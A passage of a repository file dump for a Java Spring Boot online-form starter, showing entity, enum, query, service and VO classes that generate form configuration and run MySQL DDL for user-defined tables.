= \"yyyy-MM-dd HH:mm:ss\")\n    private Date createTime;\n    \n    /**\n     * 更新人\n     */\n    @TableField(\"updater\")\n    private Long updater;\n    \n    /**\n     * 更新时间\n     */\n    @TableField(\"update_time\")\n    @JsonFormat(pattern = \"yyyy-MM-dd HH:mm:ss\")\n    private Date updateTime;\n    \n    /**\n     * 版本号\n     */\n    @TableField(\"version\")\n    private Integer version;\n    \n    /**\n     * 删除标记\n     */\n    @TableField(\"deleted\")\n    private Integer deleted;\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/enums/FieldTypeEnum.java",
    "content": "package io.github.wujun728.online.enums;\n\n/**\n * 字段类型枚举类\n * 定义了数据库支持的字段类型\n */\npublic enum FieldTypeEnum {\n    \n    /**\n     * 字符串类型\n     */\n    String,\n    \n    /**\n     * 长整型\n     */\n    Long,\n    \n    /**\n     * 整型\n     */\n    Integer,\n    \n    /**\n     * 双精度浮点型\n     */\n    Double,\n    \n    /**\n     * 日期类型\n     */\n    Date,\n    \n    /**\n     * 日期时间类型\n     */\n    DateTime,\n    \n    /**\n     * 高精度小数类型\n     */\n    BigDecimal,\n    \n    /**\n     * 位类型\n     */\n    Bit,\n    \n    /**\n     * 文本类型\n     */\n    Text\n    \n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/query/OnlineFormQuery.java",
    "content": "package io.github.wujun728.online.query;\n\nimport lombok.Data;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 在线表单数据查询参数类\n * 用于分页查询表单数据\n */\n@Data\npublic class OnlineFormQuery {\n    /**\n     * 当前页码\n     */\n    private Integer page;\n    \n    /**\n     * 每页数量\n     */\n    private Integer limit;\n    \n    /**\n     * 查询参数\n     * 存储表单字段名和对应的值\n     */\n    private Map<String, Object> params;\n    \n    /**\n     * 构造函数\n     * 初始化参数Map\n     */\n    public OnlineFormQuery() {\n        this.params = new HashMap<>();\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/query/OnlineTableQuery.java",
    "content": "package io.github.wujun728.online.query;\n\nimport lombok.Data;\nimport io.github.wujun728.online.common.Query;\n\n/**\n * 在线表查询参数类\n * 用于查询在线表单的基本信息\n */\n@Data\npublic class OnlineTableQuery extends Query {\n    /**\n     * 表单名称\n     */\n    private String name;\n    \n    /**\n     * 表单描述\n     */\n    private String comments;\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/service/OnlineFormService.java",
    "content": "package io.github.wujun728.online.service;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport io.github.wujun728.online.common.PageResult;\nimport io.github.wujun728.online.query.OnlineFormQuery;\nimport io.github.wujun728.online.vo.form.OnlineFormVO;\nimport net.maku.framework.common.exception.ServerException;\n\npublic interface OnlineFormService {\n    public OnlineFormVO getJSON(String var1) throws ServerException;\n\n    public void save(String var1, Map<String, String> var2) throws ServerException;\n\n    public void delete(String var1, List<Long> var2) throws ServerException;\n\n    public void update(String var1, Map<String, String> var2) throws ServerException;\n\n    public Map<String, Object> get(String var1, Long var2) throws ServerException;\n\n    public PageResult<Map<String, Object>> page(String var1, OnlineFormQuery var2) throws ServerException;\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/service/OnlineTableColumnService.java",
    "content": "/*\n * Decompiled with CFR 0.152.\n * \n * Could not load the following classes:\n *  net.maku.framework.mybatis.service.BaseService\n */\npackage io.github.wujun728.online.service;\n\nimport java.util.List;\n\nimport io.github.wujun728.online.common.BaseService;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport io.github.wujun728.online.vo.OnlineTableColumnVO;\n\npublic interface OnlineTableColumnService\nextends BaseService<OnlineTableColumnEntity> {\n    public List<OnlineTableColumnVO> getByTableId(String var1);\n\n    public void saveBatch(String var1, List<OnlineTableColumnVO> var2);\n\n    public void delete(String var1);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/service/OnlineTableService.java",
    "content": "/*\n * Decompiled with CFR 0.152.\n * \n * Could not load the following classes:\n *  net.maku.framework.common.utils.PageResult\n *  net.maku.framework.mybatis.service.BaseService\n */\npackage io.github.wujun728.online.service;\n\nimport java.rmi.ServerException;\nimport java.util.List;\n\nimport io.github.wujun728.online.common.BaseService;\nimport io.github.wujun728.online.common.PageResult;\nimport io.github.wujun728.online.entity.OnlineTableEntity;\nimport io.github.wujun728.online.query.OnlineTableQuery;\nimport io.github.wujun728.online.vo.OnlineTableVO;\n\npublic interface OnlineTableService\nextends BaseService<OnlineTableEntity> {\n    public void save(OnlineTableVO var1) throws ServerException;\n\n    public void delete(List<String> var1);\n\n    public PageResult<OnlineTableVO> page(OnlineTableQuery var1);\n\n    public OnlineTableVO get(String var1);\n\n    public void update(OnlineTableVO var1);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/service/impl/OnlineFormServiceImpl.java",
    "content": "package io.github.wujun728.online.service.impl;\n\nimport cn.hutool.core.util.StrUtil;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport io.github.wujun728.online.common.PageResult;\nimport io.github.wujun728.online.dao.OnlineFormDao;\nimport io.github.wujun728.online.dao.OnlineTableColumnDao;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport io.github.wujun728.online.entity.OnlineTableEntity;\nimport io.github.wujun728.online.query.OnlineFormQuery;\nimport io.github.wujun728.online.service.OnlineFormService;\nimport io.github.wujun728.online.service.OnlineTableService;\nimport io.github.wujun728.online.vo.form.OnlineFormVO;\nimport io.github.wujun728.online.vo.form.WidgetFormConfigVO;\nimport io.github.wujun728.online.vo.form.WidgetFormVO;\nimport io.github.wujun728.online.vo.form.component.ComponentContext;\nimport io.github.wujun728.online.vo.query.QueryContext;\nimport net.maku.framework.common.exception.ServerException;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.io.Serializable;\nimport java.util.*;\n\n/**\n * 在线表单服务实现\n */\n@Service\npublic class OnlineFormServiceImpl implements OnlineFormService {\n\n    private final OnlineFormDao onlineFormDao;\n    private final OnlineTableColumnDao onlineTableColumnDao;\n    private final OnlineTableService onlineTableService;\n\n    public OnlineFormServiceImpl(OnlineTableService onlineTableService, OnlineTableColumnDao onlineTableColumnDao, OnlineFormDao onlineFormDao) {\n        this.onlineTableService = onlineTableService;\n        this.onlineTableColumnDao = onlineTableColumnDao;\n        this.onlineFormDao = onlineFormDao;\n    }\n\n    @Override\n    public Map<String, Object> get(String tableId, Long id) {\n        OnlineTableEntity tableEntity = getTableById(tableId);\n        return onlineFormDao.getById(tableEntity.getName(), id);\n    }\n\n    @Override\n    public void save(String tableId, Map<String, String> params) {\n        OnlineTableEntity tableEntity = getTableById(tableId);\n        Long userId = 1L; // SecurityUser.getUserId();\n        Map<String, Object> saveParams = new HashMap<>();\n        List<OnlineTableColumnEntity> columnList = onlineTableColumnDao.getByTableId(tableId);\n\n        for (OnlineTableColumnEntity column : columnList) {\n            // 处理特殊字段\n            if (\"id\".equalsIgnoreCase(column.getName())) {\n                continue;\n            }\n            if (\"creator\".equalsIgnoreCase(column.getName())) {\n                saveParams.put(\"creator\", userId);\n                continue;\n            }\n            if (\"create_time\".equalsIgnoreCase(column.getName())) {\n                saveParams.put(\"create_time\", new Date());\n                continue;\n            }\n            if (\"updater\".equalsIgnoreCase(column.getName())) {\n                saveParams.put(\"updater\", userId);\n                continue;\n            }\n            if (\"update_time\".equalsIgnoreCase(column.getName())) {\n                saveParams.put(\"update_time\", new Date());\n                continue;\n            }\n\n            // 处理普通字段\n            String value = params.getOrDefault(column.getName(), null);\n            if (StrUtil.isNotBlank(value)) {\n                saveParams.put(column.getName(), value);\n            }\n        }\n\n        onlineFormDao.save(tableEntity.getName(), saveParams);\n    }\n\n    @Override\n    public OnlineFormVO getJSON(String tableId) {\n        OnlineTableEntity tableEntity = getTableById(tableId);\n        List<OnlineTableColumnEntity> columnList = onlineTableColumnDao.getByTableId(tableId);\n\n        OnlineFormVO formVO = new OnlineFormVO();\n        formVO.setQuery(getQueryJSON(columnList));\n        formVO.setTable(getTableJSON(columnList));\n        formVO.setForm(getFormJSON(tableEntity, columnList));\n\n        return formVO;\n    }\n\n    @Override\n    public PageResult<Map<String, Object>> page(String tableId, OnlineFormQuery query) {\n        OnlineTableEntity tableEntity = getTableById(tableId);\n        Map<String, Object> queryParams = getQueryParams(tableId, query.getParams());\n\n        Page<?> page = new Page<>(query.getPage(), query.getLimit());\n        List<Map<String, Object>> list = onlineFormDao.getList(page, tableEntity.getName(), queryParams);\n\n        return new PageResult<>(list, page.getTotal());\n    }\n\n    @Override\n    public void update(String tableId, Map<String, String> params) {\n        OnlineTableEntity tableEntity = getTableById(tableId);\n        Map<String, Object> updateParams = new HashMap<>();\n        List<OnlineTableColumnEntity> columnList = onlineTableColumnDao.getByTableId(tableId);\n\n        for (OnlineTableColumnEntity column : columnList) {\n            // 处理特殊字段\n            if (\"id\".equalsIgnoreCase(column.getName())) {\n                continue;\n            }\n            if (\"updater\".equalsIgnoreCase(column.getName())) {\n                updateParams.put(\"updater\", 1L); // SecurityUser.getUserId()\n                continue;\n            }\n            if (\"update_time\".equalsIgnoreCase(column.getName())) {\n                updateParams.put(\"update_time\", new Date());\n                continue;\n            }\n\n            // 处理表单项字段\n            if (column.isFormItem()) {\n                String value = params.getOrDefault(column.getName(), null);\n                updateParams.put(column.getName(), value);\n            }\n        }\n\n        Long id = Long.parseLong(params.get(\"id\"));\n        onlineFormDao.update(tableEntity.getName(), id, updateParams);\n    }\n\n    @Override\n    public void delete(String tableId, List<Long> ids) {\n        OnlineTableEntity tableEntity = getTableById(tableId);\n        onlineFormDao.delete(tableEntity.getName(), ids);\n    }\n\n    /**\n     * 获取表信息\n     */\n    private OnlineTableEntity getTableById(String tableId) {\n        OnlineTableEntity tableEntity = onlineTableService.getById((Serializable) tableId);\n        if (tableEntity == null) {\n            throw new ServerException(\"表单不存在\");\n        }\n        return tableEntity;\n    }\n\n    /**\n     * 构建查询参数\n     */\n    private Map<String, Object> getQueryParams(String tableId, Map<String, Object> params) {\n        List<OnlineTableColumnEntity> columnList = onlineTableColumnDao.getByTableId(tableId);\n        Map<String, Object> queryParams = new HashMap<>();\n\n        for (OnlineTableColumnEntity column : columnList) {\n            if (!column.isQueryItem()) {\n                continue;\n            }\n\n            // 处理日期范围查询\n            if (\"dateRange\".equals(column.getQueryInput()) || \"datetimeRange\".equals(column.getQueryInput())) {\n                Object value = params.getOrDefault(column.getName(), null);\n                if (value instanceof List) {\n                    List<?> dateRange = (List<?>) value;\n                    if (dateRange.size() >= 2) {\n                        queryParams.put(column.getName() + \" >= \", dateRange.get(0));\n                        queryParams.put(column.getName() + \" <= \", dateRange.get(1));\n                    }\n                }\n            }\n            // 处理普通查询\n            else {\n                String value = (String) params.getOrDefault(column.getName(), null);\n                if (StrUtil.isNotBlank(value)) {\n                    if (\"like\".equalsIgnoreCase(column.getQueryType())) {\n                        queryParams.put(column.getName() + \" like \", \"%\" + value + \"%\");\n                    } else {\n                        queryParams.put(column.getName() + \" = \", value);\n                    }\n                }\n            }\n        }\n\n        return queryParams;\n    }\n\n    /**\n     * 获取表单配置JSON\n     */\n    private WidgetFormVO getFormJSON(OnlineTableEntity tableEntity, List<OnlineTableColumnEntity> columnList) {\n        WidgetFormVO formVO = new WidgetFormVO();\n        WidgetFormConfigVO configVO = new WidgetFormConfigVO();\n\n        // 设置表单配置\n        configVO.setLabelWidth(100);\n        configVO.setSize(\"small\");\n        configVO.setLabelPosition(null);\n        configVO.setStyle(null);\n        formVO.setConfig(configVO);\n\n        // 根据布局类型生成表单组件\n        int formLayout = tableEntity.getFormLayout();\n        List<Map<String, Object>> componentList = new ArrayList<>();\n\n        // 单列布局\n        if (formLayout == 1) {\n            for (OnlineTableColumnEntity column : columnList) {\n                if (column.isFormItem()) {\n                    ComponentContext componentContext = new ComponentContext(column);\n                    componentList.add(componentContext.getComponent());\n                }\n            }\n        }\n        // 多列布局\n        else {\n            // 布局容器配置\n            Map<String, Object> layoutContainer = new HashMap<>();\n            layoutContainer.put(\"type\", \"grid\");\n            layoutContainer.put(\"direction\", \"horizontal\");\n            layoutContainer.put(\"justify\", \"start\");\n\n            // 布局容器样式\n            Map<String, Object> layoutStyle = new HashMap<>();\n            layoutStyle.put(\"background\", \"transparent\");\n            layoutStyle.put(\"padding\", \"0px\");\n            layoutStyle.put(\"margin\", \"0px\");\n            layoutContainer.put(\"style\", layoutStyle);\n\n            // 创建列容器\n            List<List<Map<String, Object>>> columns = new ArrayList<>();\n            for (int i = 0; i < formLayout; i++) {\n                columns.add(new ArrayList<>());\n            }\n\n            // 分配组件到列\n            int columnIndex = 0;\n            for (OnlineTableColumnEntity column : columnList) {\n                if (column.isFormItem()) {\n                    int currentColumn = columnIndex % formLayout;\n                    ComponentContext componentContext = new ComponentContext(column);\n                    columns.get(currentColumn).add(componentContext.getComponent());\n                    columnIndex++;\n                }\n            }\n\n            // 构建列配置\n            List<Map<String, Object>> columnConfigs = new ArrayList<>();\n            for (int i = 0; i < formLayout; i++) {\n                Map<String, Object> columnConfig = new HashMap<>();\n                columnConfig.put(\"span\", 24 / formLayout);\n                columnConfig.put(\"list\", columns.get(i));\n                columnConfigs.add(columnConfig);\n            }\n\n            layoutContainer.put(\"column\", columnConfigs);\n            componentList.add(layoutContainer);\n        }\n\n        formVO.setList(componentList);\n        return formVO;\n    }\n\n    /**\n     * 获取查询配置JSON\n     */\n    private WidgetFormVO getQueryJSON(List<OnlineTableColumnEntity> columnList) {\n        WidgetFormVO formVO = new WidgetFormVO();\n        WidgetFormConfigVO configVO = new WidgetFormConfigVO();\n\n        // 设置查询表单配置\n        configVO.setLabelWidth(null);\n        configVO.setSize(\"small\");\n        configVO.setLabelPosition(null);\n        configVO.setStyle(null);\n        formVO.setConfig(configVO);\n\n        // 生成查询组件\n        List<Map<String, Object>> queryComponents = new ArrayList<>();\n        for (OnlineTableColumnEntity column : columnList) {\n            if (column.isQueryItem()) {\n                QueryContext queryContext = new QueryContext(column);\n                queryComponents.add(queryContext.getQuery());\n            }\n        }\n\n        formVO.setList(queryComponents);\n        return formVO;\n    }\n\n    /**\n     * 获取表格配置JSON\n     */\n    private List<Map<String, Object>> getTableJSON(List<OnlineTableColumnEntity> columnList) {\n        List<Map<String, Object>> tableColumns = new ArrayList<>();\n\n        for (OnlineTableColumnEntity column : columnList) {\n            if (column.isGridItem()) {\n                Map<String, Object> tableColumn = new HashMap<>();\n                tableColumn.put(\"prop\", column.getName());\n                tableColumn.put(\"label\", column.getComments());\n                tableColumn.put(\"sortable\", column.isGridSort());\n\n                // 如果有字典配置，添加字典\n                if (StrUtil.isNotBlank(column.getFormDict())) {\n                    tableColumn.put(\"dictCode\", column.getFormDict());\n                }\n\n                tableColumns.add(tableColumn);\n            }\n        }\n\n        return tableColumns;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/service/impl/OnlineTableColumnServiceImpl.java",
    "content": "package io.github.wujun728.online.service.impl;\n\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport io.github.wujun728.online.common.impl.BaseServiceImpl;\nimport io.github.wujun728.online.convert.OnlineTableColumnConvert;\nimport io.github.wujun728.online.dao.OnlineTableColumnDao;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport io.github.wujun728.online.service.OnlineTableColumnService;\nimport io.github.wujun728.online.vo.OnlineTableColumnVO;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * 在线表列服务实现\n */\n@Service\npublic class OnlineTableColumnServiceImpl extends BaseServiceImpl<OnlineTableColumnDao, OnlineTableColumnEntity> implements OnlineTableColumnService {\n\n    @Override\n    public void saveBatch(String tableId, List<OnlineTableColumnVO> columnList) {\n        List<OnlineTableColumnEntity> entityList = OnlineTableColumnConvert.INSTANCE.convertList2(columnList);\n        int sort = 0;\n        \n        // 设置表ID和排序\n        for (OnlineTableColumnEntity entity : entityList) {\n            entity.setSort(sort++);\n            entity.setTableId(tableId);\n        }\n        \n        // 批量保存\n        super.saveBatch(entityList);\n    }\n\n    @Override\n    public void delete(String tableId) {\n        LambdaQueryWrapper<OnlineTableColumnEntity> wrapper = new LambdaQueryWrapper<>();\n        wrapper.eq(OnlineTableColumnEntity::getTableId, tableId);\n        remove(wrapper);\n    }\n\n    @Override\n    public List<OnlineTableColumnVO> getByTableId(String tableId) {\n        List<OnlineTableColumnEntity> entityList = baseMapper.getByTableId(tableId);\n        return OnlineTableColumnConvert.INSTANCE.convertList(entityList);\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/service/impl/OnlineTableServiceImpl.java",
    "content": "package io.github.wujun728.online.service.impl;\n\nimport cn.hutool.core.util.ObjUtil;\nimport cn.hutool.core.util.StrUtil;\nimport com.baomidou.mybatisplus.core.conditions.Wrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport io.github.wujun728.online.common.PageResult;\nimport io.github.wujun728.online.common.impl.BaseServiceImpl;\nimport io.github.wujun728.online.convert.OnlineTableConvert;\nimport io.github.wujun728.online.dao.OnlineTableDao;\nimport io.github.wujun728.online.ddl.MySQLTable;\nimport io.github.wujun728.online.entity.OnlineTableEntity;\nimport io.github.wujun728.online.query.OnlineTableQuery;\nimport io.github.wujun728.online.service.OnlineTableColumnService;\nimport io.github.wujun728.online.service.OnlineTableService;\nimport io.github.wujun728.online.vo.OnlineTableColumnVO;\nimport io.github.wujun728.online.vo.OnlineTableVO;\nimport net.maku.framework.common.exception.ServerException;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Optional;\n\n/**\n * 在线表单服务实现\n */\n@Service\npublic class OnlineTableServiceImpl extends BaseServiceImpl<OnlineTableDao, OnlineTableEntity> implements OnlineTableService {\n\n    private final OnlineTableColumnService onlineTableColumnService;\n\n    public OnlineTableServiceImpl(OnlineTableColumnService onlineTableColumnService) {\n        this.onlineTableColumnService = onlineTableColumnService;\n    }\n\n    @Override\n    public OnlineTableVO get(String tableId) {\n        OnlineTableEntity onlineTableEntity = baseMapper.selectById(tableId);\n        OnlineTableVO onlineTableVO = OnlineTableConvert.INSTANCE.convert(onlineTableEntity);\n        onlineTableVO.setColumnList(onlineTableColumnService.getByTableId(tableId));\n        return onlineTableVO;\n    }\n\n    @Override\n    @Transactional(rollbackFor = Exception.class)\n    public void delete(List<String> tableIds) {\n        List<String> tableNames = new ArrayList<>();\n        \n        // 收集表名\n        for (String tableId : tableIds) {\n            OnlineTableEntity entity = baseMapper.selectById((Serializable) tableId);\n            if (entity != null) {\n                tableNames.add(entity.getName());\n            }\n        }\n        \n        // 删除数据\n        removeByIds(tableIds);\n        \n        // 重命名实际数据库表\n        MySQLTable mySQLTable = new MySQLTable();\n        for (String tableName : tableNames) {\n            String renameTableSQL = mySQLTable.getRenameTableSQL(tableName);\n            baseMapper.exeSQL(renameTableSQL);\n        }\n    }\n\n    @Override\n    @Transactional(rollbackFor = Exception.class)\n    public void update(OnlineTableVO tableVO) {\n        List<OnlineTableColumnVO> newColumnList = tableVO.getColumnList();\n        List<OnlineTableColumnVO> oldColumnList = onlineTableColumnService.getByTableId(tableVO.getId());\n        MySQLTable mySQLTable = new MySQLTable();\n        \n        // 处理删除和修改的列\n        for (OnlineTableColumnVO oldColumn : oldColumnList) {\n            Optional<OnlineTableColumnVO> optionalNewColumn = newColumnList.stream()\n                    .filter(columnVO -> ObjUtil.equals(columnVO.getId(), oldColumn.getId()))\n                    .findFirst();\n            \n            if (!optionalNewColumn.isPresent()) {\n                // 删除列\n                String dropSQL = mySQLTable.getDropColumnSQL(tableVO.getName(), oldColumn.getName());\n                baseMapper.exeSQL(dropSQL);\n            } else {\n                // 修改列\n                List<String> updateColumnSQL = mySQLTable.getUpdateColumnSQL(\n                        tableVO.getName(), optionalNewColumn.get(), oldColumn);\n                for (String sql : updateColumnSQL) {\n                    baseMapper.exeSQL(sql);\n                }\n            }\n        }\n        \n        // 处理新增的列\n        for (OnlineTableColumnVO newColumn : newColumnList) {\n            Optional<OnlineTableColumnVO> optionalOldColumn = oldColumnList.stream()\n                    .filter(columnVO -> ObjUtil.equals(columnVO.getId(), newColumn.getId()))\n                    .findFirst();\n            \n            if (!optionalOldColumn.isPresent()) {\n                // 新增列\n                List<String> insertColumnSQL = mySQLTable.getInsertColumnSQL(\n                        tableVO.getName(), newColumn);\n                for (String sql : insertColumnSQL) {\n                    baseMapper.exeSQL(sql);\n                }\n            }\n        }\n        \n        // 更新表注释\n        OnlineTableEntity onlineTableEntity = baseMapper.selectById((Serializable) tableVO.getId());\n        if (!StrUtil.equals(tableVO.getComments(), onlineTableEntity.getComments())) {\n            String updateTableSQL = mySQLTable.getUpdateTableSQL(onlineTableEntity.getName(), tableVO.getComments());\n            baseMapper.exeSQL(updateTableSQL);\n        }\n        \n        // 更新实体和列信息\n        OnlineTableEntity updatedEntity = OnlineTableConvert.INSTANCE.convert(tableVO);\n        updateById(updatedEntity);\n        onlineTableColumnService.delete(updatedEntity.getId());\n        onlineTableColumnService.saveBatch(updatedEntity.getId(), tableVO.getColumnList());\n    }\n\n    @Override\n    @Transactional(rollbackFor = Exception.class)\n    public void save(OnlineTableVO onlineTableVO) {\n        // 检查表名是否已存在\n        LambdaQueryWrapper<OnlineTableEntity> wrapper = new LambdaQueryWrapper<>();\n        wrapper.eq(OnlineTableEntity::getName, onlineTableVO.getName());\n        long count = baseMapper.selectCount(wrapper);\n        \n        if (count > 0) {\n            throw new ServerException(\"表名\" + onlineTableVO.getName() + \"已存在\");\n        }\n        \n        // 保存实体\n        OnlineTableEntity onlineTableEntity = OnlineTableConvert.INSTANCE.convert(onlineTableVO);\n        baseMapper.insert(onlineTableEntity);\n        \n        // 保存列信息\n        onlineTableColumnService.saveBatch(onlineTableEntity.getId(), onlineTableVO.getColumnList());\n        \n        // 创建实际数据库表\n        MySQLTable mySQLTable = new MySQLTable();\n        String tableSQL = mySQLTable.getTableSQL(onlineTableVO);\n        baseMapper.exeSQL(tableSQL);\n    }\n\n    @Override\n    public PageResult<OnlineTableVO> page(OnlineTableQuery query) {\n        IPage<OnlineTableEntity> page = baseMapper.selectPage(getPage(query), getWrapper(query));\n        return new PageResult<>(OnlineTableConvert.INSTANCE.convertList(page.getRecords()), page.getTotal());\n    }\n\n    /**\n     * 构建查询条件\n     */\n    private LambdaQueryWrapper<OnlineTableEntity> getWrapper(OnlineTableQuery query) {\n        LambdaQueryWrapper<OnlineTableEntity> wrapper = Wrappers.lambdaQuery();\n        wrapper.like(StrUtil.isNotBlank(query.getName()), OnlineTableEntity::getName, query.getName());\n        wrapper.like(StrUtil.isNotBlank(query.getComments()), OnlineTableEntity::getComments, query.getComments());\n        wrapper.orderByDesc(OnlineTableEntity::getCreateTime);\n        return wrapper;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/OnlineTableColumnVO.java",
    "content": "package io.github.wujun728.online.vo;\n\nimport lombok.Data;\n\n/**\n * 在线表字段VO类\n * 用于表示在线表单中的表字段信息\n */\n//@Schema(description=\"Online表单字段\")\n@Data\npublic class OnlineTableColumnVO {\n    //@Schema(description=\"表单项\")\n    private boolean formItem;\n    //@Schema(description=\"字段描述\")\n    private String comments;\n    //@Schema(description=\"表单字典\")\n    private String formDict;\n    //@Schema(description=\"表单控件默认值\")\n    private String formDefault;\n    //@Schema(description=\"列表排序\")\n    private boolean gridSort;\n    //@Schema(description=\"字段名称\")\n    private String name;\n    //@Schema(description=\"小数点\")\n    private Integer pointLength;\n    //@Schema(description=\"id\")\n    private Long id;\n    //@Schema(description=\"列表项\")\n    private boolean gridItem;\n    //@Schema(description=\"字段为空\")\n    private boolean columnNull;\n    //@Schema(description=\"字段主键\")\n    private boolean columnPk;\n    //@Schema(description=\"查询方式\")\n    private String queryType;\n    //@Schema(description=\"字段长度\")\n    private Integer length;\n    //@Schema(description=\"表单控件\")\n    private String formInput;\n    //@Schema(description=\"查询控件\")\n    private String queryInput;\n    //@Schema(description=\"查询项\")\n    private boolean queryItem;\n    //@Schema(description=\"排序\")\n    private Integer sort;\n    //@Schema(description=\"字段类型\")\n    private String columnType;\n    //@Schema(description=\"表单必填\")\n    private boolean formRequired;\n    //@Schema(description=\"默认值\")\n    private String defaultValue;\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/OnlineTableVO.java",
    "content": "package io.github.wujun728.online.vo;\n\nimport com.fasterxml.jackson.annotation.JsonFormat;\nimport lombok.Data;\nimport java.util.Date;\nimport java.util.List;\n\n/**\n * 在线表VO类\n * 用于表示在线表单的完整表结构信息\n */\n//@Schema(description=\"Online表单开发\")\n@Data\npublic class OnlineTableVO {\n    //@Schema(description=\"创建时间\")\n    @JsonFormat(pattern=\"yyyy-MM-dd HH:mm:ss\")\n    private Date createTime;\n    //@Schema(description=\"id\")\n    private String id;\n    //@Schema(description=\"是否树  0：否   1：是\")\n    private Integer tree;\n    //@Schema(description=\"表类型  0：单表\")\n    private Integer tableType;\n    //@Schema(description=\"表单布局  1：一列   2：两列   3：三列    4：四列\")\n    private Integer formLayout;\n    //@Schema(description=\"树父id\")\n    private String treePid;\n    //@Schema(description=\"树展示列\")\n    private String treeLabel;\n    //@Schema(description=\"版本号\")\n    private Integer version;\n    //@Schema(description=\"表名\")\n    private String name;\n    //@Schema(description=\"表字段\")\n    private List<OnlineTableColumnVO> columnList;\n    //@Schema(description=\"表描述\")\n    private String comments;\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/OnlineFormVO.java",
    "content": "package io.github.wujun728.online.vo.form;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 在线表单完整配置VO类\n * 包含表单、查询和表格的完整配置信息\n */\npublic class OnlineFormVO {\n    /**\n     * 表单配置\n     * 包含表单的布局和字段组件配置\n     */\n    private WidgetFormVO form;\n    \n    /**\n     * 查询表单配置\n     * 包含查询条件的组件配置\n     */\n    private WidgetFormVO query;\n    \n    /**\n     * 表格配置\n     * 包含表格列的配置信息\n     */\n    private List<Map<String, Object>> table;\n    \n    /**\n     * 获取表单配置\n     */\n    public WidgetFormVO getForm() {\n        return form;\n    }\n    \n    /**\n     * 设置表单配置\n     */\n    public void setForm(WidgetFormVO form) {\n        this.form = form;\n    }\n    \n    /**\n     * 获取查询表单配置\n     */\n    public WidgetFormVO getQuery() {\n        return query;\n    }\n    \n    /**\n     * 设置查询表单配置\n     */\n    public void setQuery(WidgetFormVO query) {\n        this.query = query;\n    }\n    \n    /**\n     * 获取表格配置\n     */\n    public List<Map<String, Object>> getTable() {\n        return table;\n    }\n    \n    /**\n     * 设置表格配置\n     */\n    public void setTable(List<Map<String, Object>> table) {\n        this.table = table;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/WidgetFormConfigVO.java",
    "content": "package io.github.wujun728.online.vo.form;\n\n/**\n * 表单配置详情VO类\n * 存储表单的具体配置参数\n */\npublic class WidgetFormConfigVO {\n    /**\n     * 表单尺寸\n     * 可选值：small, medium, large\n     */\n    private String size;\n    \n    /**\n     * 标签位置\n     * 可选值：left, right, top\n     */\n    private String labelPosition;\n    \n    /**\n     * 标签宽度\n     * 单位：像素\n     */\n    private Integer labelWidth;\n    \n    /**\n     * 表单样式\n     * 以JSON字符串形式存储的样式配置\n     */\n    private String style;\n    \n    /**\n     * 获取表单尺寸\n     */\n    public String getSize() {\n        return size;\n    }\n    \n    /**\n     * 设置表单尺寸\n     */\n    public void setSize(String size) {\n        this.size = size;\n    }\n    \n    /**\n     * 获取标签位置\n     */\n    public String getLabelPosition() {\n        return labelPosition;\n    }\n    \n    /**\n     * 设置标签位置\n     */\n    public void setLabelPosition(String labelPosition) {\n        this.labelPosition = labelPosition;\n    }\n    \n    /**\n     * 获取标签宽度\n     */\n    public Integer getLabelWidth() {\n        return labelWidth;\n    }\n    \n    /**\n     * 设置标签宽度\n     */\n    public void setLabelWidth(Integer labelWidth) {\n        this.labelWidth = labelWidth;\n    }\n    \n    /**\n     * 获取表单样式\n     */\n    public String getStyle() {\n        return style;\n    }\n    \n    /**\n     * 设置表单样式\n     */\n    public void setStyle(String style) {\n        this.style = style;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/WidgetFormItemColumnVO.java",
